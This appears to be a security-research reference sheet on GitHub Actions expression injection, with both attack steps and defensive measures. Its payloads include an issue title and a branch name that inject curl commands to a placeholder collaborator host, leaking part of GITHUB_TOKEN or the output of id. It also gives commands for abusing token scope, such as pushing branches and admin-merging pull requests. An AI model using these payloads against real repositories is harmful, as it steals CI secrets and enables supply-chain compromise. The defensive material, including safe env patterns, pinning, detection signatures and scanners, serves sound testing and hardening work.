GitHub Actions Expression Injection
${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.
Untrusted context — the sinks
These fields are attacker-controllable in fork PRs, issues, comments, branches:
| Context | Source | Notes |
|---|---|---|
github.event.issue.title / .body |
issue create / edit | any logged-in user |
github.event.pull_request.title / .body |
PR create / edit | any forker |
github.event.pull_request.head.ref |
branch name on fork | ; $() ``` are valid Git branch chars |
github.event.comment.body |
issue/PR comment | broad reach |
github.event.review.body / .review_comment.body |
PR review | |
github.event.head_commit.message / .commits[*].message |
push / PR | newlines allowed |
github.event.pages[*].page_name |
gollum wiki |
|
github.head_ref |
shorthand for PR head branch | same as above |
Recon — find injection sinks
# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
<REPO>/.github/workflows/
# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color
Sink pattern — the vulnerable workflow
# VULNERABLE
on: [issues, pull_request_target]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Echo title
run: |
echo "New issue: ${{ github.event.issue.title }}" # <-- sink
Exploit payload — issue title
Open an issue titled:
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #
Runner expands to:
echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"
The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)
Branch-name injection
# Fork → create branch with a shell-meta name
git checkout -b 'x";curl -s https://<COLLAB>/$(id)#'
git commit --allow-empty -m bn
git push origin HEAD
gh pr create --title typo --body typo --repo <OWNER>/<REPO>
If any workflow does echo ${{ github.head_ref }} in a run:, the runner executes id and posts the result.
pull_request_target + PR-head checkout
# VULNERABLE
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} }
- run: npm ci && npm test
Two attack paths on the same workflow:
- Code execution — fork edits
package.jsonpostinstall(seepoisoned-pipeline-execution/SKILL.md). - Expression injection — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any
${{ github.event.* }}sink in the base workflow is still exploitable via title / body / branch name.
Safe pattern (defender)
# Pass via env, never interpolate directly
- name: Echo title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"
$ISSUE_TITLE is expanded by bash only — shell-meta inside $ISSUE_TITLE becomes literal text. Note this still requires set -u or careful quoting; double-quote the variable.
GITHUB_TOKEN permission abuse
If the workflow does not set permissions: explicitly, the token defaults to whatever the repo / org default is — historically read-all / write-all. With write scope you can:
# From inside the runner — push to a release branch via the token
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git"
git push origin HEAD:refs/heads/release/x
# Create a release
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA
# Approve + merge a PR (if `contents: write` + `pull-requests: write`)
gh pr merge <N> --merge --admin
Always check the effective scope:
# Inside the job — see what the token can do
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
Artifact / cache poisoning
actions/cache keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when pull_request_target is in play. Same for actions/upload-artifact followed by a deploy job that downloads + executes.
# Smell — artifact used as build input without integrity check
- uses: actions/download-artifact@v4
with: { name: build }
- run: ./build/release.sh # <- if attacker poisoned `build`, this runs attacker code
Third-party action pinning
# Tag-pinned — silently movable by the action author or anyone who hijacks the repo
- uses: tj-actions/changed-files@v44
# SHA-pinned — immutable
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8
tj-actions/changed-files (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.
# List every third-party action and its pin style across the org
gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \
| xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \
| base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@'
Detection signatures
| Signal | Defender view |
|---|---|
${{ github.event.*.title | .body | .ref | .message }} in run: |
static lint (actionlint, zizmor) |
Branch name containing shell metas (;, $(, backtick) |
pre-receive hook on the org |
pull_request_target + actions/checkout with head.sha/head.ref |
zizmor rule dangerous-checkout |
Token scopes write-all w/ no permissions: block |
repo / org default token policy |
| Tag-pinned third-party action | dependabot.yml action-update review |
Tools
| Tool | Use |
|---|---|
actionlint |
First-line static check; flags 90% of expression-injection sinks |
zizmor (woodruffw) |
Rust-based audit, catches pull_request_target + checkout patterns |
octoscan |
Workflow scanner with PoC generation hints |
gh CLI |
Inspect runs, logs, token scopes, approve fork-PR runs |
gato-x (praetorian-inc) |
End-to-end PPE / expression-injection automation |
Decision gate
- Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.
- Use
interactsh/ Burp Collaborator for the beacon. Do not POST the token anywhere durable. - Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.
References
- GitHub Security Lab — "Keeping your GitHub Actions and workflows secure"
- "Untrusted input" sink list — github.com/github/securitylab/issues
tj-actions/changed-files(CVE-2025-30066) post-mortem- Synacktiv, NCC Group, Praetorian — Actions injection writeups